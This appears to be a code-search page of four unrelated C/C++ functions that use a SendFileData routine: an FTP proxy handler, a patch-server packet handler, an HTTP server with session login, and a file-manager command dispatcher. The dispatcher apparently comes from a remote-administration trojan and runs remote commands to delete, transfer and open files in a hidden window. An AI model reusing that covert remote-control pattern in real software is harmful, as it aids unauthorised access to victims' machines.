Esempio n. 1
0
int ProxyHandleFileTransfer(TSession *Session, char *Command, char *Path, int Direction)
{
STREAM *InFile;
int fd, KeepReading;
char *Tempstr=NULL;

Tempstr=MCopyStr(Tempstr,Command," ",Path,"\r\n",NULL);
STREAMWriteLine(Tempstr,Session->ProxySock); 
STREAMFlush(Session->ProxySock);
LogToFile(Settings.LogPath,"PROXY SEND: %s ",Tempstr);
if (! CopyToSock(Session->ProxySock, Session->ClientSock)) return(FALSE);


if (ProxyOpenDataConnection(Session,0)) 
{

	if (OpenDataConnection(Session,0))
	{
		if (Direction==FILE_SEND) SendFileData(Session->Flags & SESSION_ASCII_TRANSFERS,Session->DataConnection->Sock, Session->ProxyDataConnection->Sock,0);
		else
		{
			 SendFileData(Session->Flags & SESSION_ASCII_TRANSFERS,Session->ProxyDataConnection->Sock, Session->DataConnection->Sock,0);
		}
		CloseDataConnection(Session, Session->DataConnection);
  }

  CloseDataConnection(Session, Session->ProxyDataConnection);
  Tempstr=STREAMReadLine(Tempstr,Session->ProxySock);
  STREAMWriteLine(Tempstr,Session->ClientSock);
	STREAMFlush(Session->ClientSock);

  Session->DataConnection=NULL;
  Session->ProxyDataConnection=NULL;
}

/*
//One day will use this instead
LogToFile(Settings.LogPath, "MADE DATA CON");
DataCon->Input=DataCon->Sock;
LogToFile(Settings.LogPath, "ADD LOCAL CON");
DataCon->Output=Session->DataConnection->Sock;
LogToFile(Settings.LogPath, "SET FNAME");
DataCon->FileName=CopyStr(DataCon->FileName,"Proxy");
DataCon->Flags |= DC_RETR;
Session->DataConnection=NULL;
Session->ProxyDataConnection=NULL;
ListAddItem(Session->FileTransfers,DataCon);
*/



DestroyString(Tempstr);

return(TRUE);
}
Esempio n. 2
0
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
	switch (lpBuffer[0])
	{
	case COMMAND_LIST_FILES:// 获取文件列表
		SendFilesList((char *)lpBuffer + 1);
		break;
	case COMMAND_DELETE_FILE:// 删除文件
		DeleteFile((char *)lpBuffer + 1);
		SendToken(TOKEN_DELETE_FINISH);
		break;
	case COMMAND_DELETE_DIRECTORY:// 删除文件
		////printf("删除目录 %s\n", (char *)(bPacket + 1));
		DeleteDirectory((char *)lpBuffer + 1);
		SendToken(TOKEN_DELETE_FINISH);
		break;
	case COMMAND_DOWN_FILES: // 上传文件
		UploadToRemote(lpBuffer + 1);
		break;
	case COMMAND_CONTINUE: // 上传文件
		SendFileData(lpBuffer + 1);
		break;
	case COMMAND_CREATE_FOLDER:
		CreateFolder(lpBuffer + 1);
		break;
	case COMMAND_RENAME_FILE:
		Rename(lpBuffer + 1);
		break;
	case COMMAND_STOP:
		StopTransfer();
		break;
	case COMMAND_SET_TRANSFER_MODE:
		SetTransferMode(lpBuffer + 1);
		break;
	case COMMAND_FILE_SIZE:
		CreateLocalRecvFile(lpBuffer + 1);
		break;
	case COMMAND_FILE_DATA:
		WriteLocalRecvFile(lpBuffer + 1, nSize -1);
		break;
	case COMMAND_OPEN_FILE_SHOW:
		OpenFile((char *)lpBuffer + 1, SW_SHOW);
		break;
	case COMMAND_OPEN_FILE_HIDE:
		OpenFile((char *)lpBuffer + 1, SW_HIDE);
		break;
	default:
		break;
	}
}
Esempio n. 3
0
bool PPatchServer::HandleFileRequests(PClient *Client, PPatchState *State, const u8 *Packet, int PacketSize)
{
	static u8 STARTPATCH[13]={0xfe, 0x0a, 0x00, 0x38, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
	static u8 STARTFILE[13]={0xfe, 0x0a, 0x00, 0x3b, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
	static u8 FILEERROR[9]={0xfe, 0x06, 0x00, 0x3d, 0x02, 0x00, 0x00, 0x00, 0x00};

	ConnectionTCP *Socket = Client->getTCPConn();
	// request patch
	if(PacketSize==13 && *(u16*)&Packet[3]==0x007c)
	{
		int nmax = Config->GetOptionInt("max_file_xfers");
		if(mNumFileTransfers>=nmax)
		{
			Console->Print("Patchserver: max file xfers exceed, killing client %i", Client->GetIndex());
			return false;
		}
		if(State->mPatchFile)
		{
			std::fclose(State->mPatchFile);
			State->mPatchFile=0;
			--mNumFileTransfers;
		}
		if(State->mSendFile)
		{
			Filesystem->Close(State->mSendFile);
			State->mSendFile=0;
			--mNumFileTransfers;
		}
		State->mSerial = *(u16*)&Packet[7];
		State->mCurrentPatch = *(u32*)&Packet[9];
		Console->Print("Patchserver: Patch request from client %i (v%i)", Client->GetIndex(), State->mCurrentPatch);
		if((bool)(State->mPatchSize = StartPatch(State)))
		{
			Console->Print("Patchserver: Patch is available, %d bytes", State->mPatchSize);
			*(u16*)&STARTPATCH[7]=State->mSerial;
			*(u32*)&STARTPATCH[9]=State->mPatchSize;
			Socket->write(STARTPATCH, 13);
			State->mState = PPatchState::PS_SENDPATCH;
		} else
		{
			Console->Print("Patchserver: Patch not available");
			*(u16*)&FILEERROR[7]=State->mSerial;
			Socket->write(FILEERROR, 9);
			FinalizeClientDelayed(Client, State);
			State->mState=PPatchState::PS_UNKNOWN;
			return true;
		}
	} else
	// request file
	if(PacketSize > 9 && *(u16*)&Packet[3]==0x004d)
	{
		int nmax = Config->GetOptionInt("max_file_xfers");
		if(mNumFileTransfers>=nmax)
		{
			Console->Print("Patchserver: max file xfers exceed, killing client %i", Client->GetIndex());
			return false;
		}
		if(State->mPatchFile)
		{
			std::fclose(State->mPatchFile);
			State->mPatchFile=0;
			--mNumFileTransfers;
		}
		if(State->mSendFile)
		{
			Filesystem->Close(State->mSendFile);
			State->mSendFile=0;
			--mNumFileTransfers;
		}
		// request file
		State->mSerial = *(u16*)&Packet[7];
		char fn[256];
		strncpy(fn, (const char*)&Packet[10], Packet[9]);
		fn[Packet[9]]=0;
		State->mCurrentFile = fn;

		Console->Print("Patchserver: File request from client %i (%s)", Client->GetIndex(), fn);
		if((bool)(State->mFileSize = StartFile(State)))
		{
			Console->Print("Patchserver: File %s is available, %d bytes", State->mCurrentFile.c_str(), State->mFileSize);
			*(u16*)&STARTFILE[7]=State->mSerial;
			*(u32*)&STARTFILE[9]=State->mFileSize;
			Socket->write(STARTFILE, 13);
			State->mState = PPatchState::PS_SENDFILE;
		} else
		{
			Console->Print("Patchserver: Requested file %s not available", State->mCurrentFile.c_str());
			*(u16*)&FILEERROR[7]=State->mSerial;
			Socket->write(FILEERROR, 9);
			FinalizeClientDelayed(Client, State);
			State->mState=PPatchState::PS_UNKNOWN;
			return true;
		}
	} else
	// send patch data
	if(PacketSize==17 && *(u16*)&Packet[3]==0x007d)
	{
		State->mSerial = *(u16*)&Packet[7];
		State->mCurrentPatch = *(u32*)&Packet[9];
		State->mPatchOffset = *(u32*)&Packet[13];
		if(!SendPatchData(Client, State))
		{
			Console->Print("Patchserver: SendPatchData failed on client %i", Client->GetIndex());
			Console->Print("Patchserver: (probably due to garbage packets)");
			// state is undefined now, kill this client
			return false;
		}
	} else
	// send file data
	if(PacketSize > 13 && *(u16*)&Packet[3]==0x00037)
	{
		State->mSerial = *(u16*)&Packet[7];
		State->mFileOffset = *(u32*)&Packet[9];
		if(!SendFileData(Client, State))
		{
			Console->Print("Patchserver: SendFileData failed on client %i", Client->GetIndex());
			Console->Print("Patchserver: (probably due to garbage packets)");
			// state is undefined now, kill this client
			return false;
		}
	} else
	{
		Console->Print("Patchserver protocol error (PS_GETPATCHORFILE): unknown packet");
		return false;
	}

	return true;
}
Esempio n. 4
0
void CHttpThread::Run()
{
    //char content[1024];
    char szSQL[2048];
	char szFile[512];

    char * svcname;
    char * urlargv[256];
    int argc;

    unsigned long bindparalen[256];
    char sql_in[2048];

    int pos;
    int len;
    int start_time;
    int stat_id;
    int i;
	int iRet;

	char sessionid[64];
	char errinfo[256];
    int svcauthkey; //服务的authkey
    int authpassed;
    int loginauthkey; //login的authkey


    printf("Thread %d is starting...\n",m_id);

    m_pSvcData = new CServiceData;

	ConnStatusType pgstatus;
	char connstr[1024];
	sprintf(connstr,"hostaddr=%s dbname=%s port=%d user=%s password=%s",
			m_dbip,m_dbname,m_dbport,m_dbuser,m_dbpass);
	m_pq=PQconnectdb(connstr);
	pgstatus=PQstatus(m_pq);
	if(pgstatus==CONNECTION_OK)
	{
		printf("Thread %d connect database success!\n",m_id);
	}
	else
	{
		printf("Thread %d connect database fail:%s\n",m_id,PQerrorMessage(m_pq));
		return;
	}

	m_pSvcData->Load(m_pq);


    while(!m_bExitFlag)
    {
        //m_optval.l_onoff  = 1;
        //m_optval.l_linger = 10;
        //setsockopt(m_sockfd,SOL_SOCKET,SO_LINGER, (char*)&m_optval,sizeof(m_optval));
        m_sockfd=m_Reqque.getq();
	    printf("thread %d start to process job ...\n",m_id);

		if(m_sockfd==-1)
		{
		    break;
		}

        //读http请求
		iRet=ReadHttpReq();
		if(iRet<0)
		{
			send(m_sockfd,szReplyBadReq,strlen(szReplyBadReq),0);
            goto next_flag;
		}

		//只处理GET和POST的请求
		if(m_HttpHead.m_Method!=ENUM_GET && m_HttpHead.m_Method!=ENUM_POST)
		{
			send(m_sockfd,szReplyBadReq,strlen(szReplyBadReq),0);
            goto next_flag;
		}

		if(m_HttpHead.m_ContentLength<0)
		{
			printf("Content-length:%d can not less than zero!\n",m_HttpHead.m_ContentLength);
			send(m_sockfd,szReplyBadReq,strlen(szReplyBadReq),0);
            goto next_flag;
		}

		Url2FileName(m_HttpHead.m_Url,szFile);

		if(m_HttpHead.m_Method==ENUM_GET)
        {
			//是需要登陆验证的网页
            if(   strstr(szFile,m_session_dir)!=NULL
               && strcmp(szFile,m_loginhtml)!=0
               && strcmp(szFile,m_reloginhtml)!=0)
			{
				authpassed=0;
				iRet=GetSessionId(m_HttpHead.m_Cookie,sessionid);
				if(iRet==0) //cookie中有session id
				{
					loginauthkey=m_session.UpdateSession(sessionid,m_session_timeouts);
					if(loginauthkey)
					{
					    authpassed=1;
					}
				}
            }
            else
            {
                authpassed=1;
            }
            if(authpassed)
            {
            	iRet=SendFileData(szFile);
            }
            else //没有验证通过,把relogin的html发过去
            {
                iRet=SendFileData(m_reloginhtml);
            }
            if(iRet>0)
            {
                send(m_sockfd,szReplyBadReq,strlen(szReplyBadReq),0);
            }
            goto next_flag;
        }
        else //POST请求,都认为是服务请求
        {
			iRet=ParseHttpPara(m_szHttpContent,argc,urlargv);
			if(iRet<0 || argc<1 )
			{
				ReplyHttpReq("1\tPOST验证请求中的参数不正确!");
				goto next_flag;
			}
            svcname=urlargv[0];
            if(!strcmp(urlargv[0],"httpdbauth")) //登录
            {
                loginauthkey=GetPassAuth(urlargv[1]);
                if(loginauthkey>0) //找到密码
                {
                    iRet=m_session.CreateSession(sessionid,loginauthkey,m_session_timeouts);
                    ReplyHttpReq("0",sessionid);
                    goto next_flag;
                }
                else
                {
                    //密码错误
				    ReplyHttpReq("1");
				    goto next_flag;
                }
            }

            authpassed=0;
            svcauthkey=m_pSvcData->GetSvcAuthKey(svcname);
            if(svcauthkey ==0 )//为0,不需要验证
            {
                authpassed=1;
            }
            else
            {
				iRet=GetSessionId(m_HttpHead.m_Cookie,sessionid);
				if(iRet==0) //获得了sessionid
				{
					loginauthkey=m_session.UpdateSession(sessionid,m_session_timeouts);
					if(svcauthkey & loginauthkey)
					{
					    authpassed=1;
					}
					else
					{
					    if(loginauthkey)
					    {
                            ReplyHttpReq("1\t没有权限做此操作,请与管理员联系!");
                            goto next_flag;
					    }
					}
				}
            }
            if(! authpassed) //没有验证通过
            {
                ReplyHttpReq("9\t没有登陆,或登陆超时,请重新登陆!");
            }
            else
            {
                CallService(argc,urlargv);
            }
            goto next_flag;
        }


next_flag:
        shutdown(m_sockfd,SHUT_RDWR);
        close(m_sockfd);
		printf("thread %d wait job ...\n",m_id);
        //pthread_cond_wait(&m_cond,&m_mutex); //等待任务
    }
    //pthread_mutex_unlock(&m_mutex);

    PQfinish(m_pq);
	printf("Thread %d is stop.\n",m_id);
}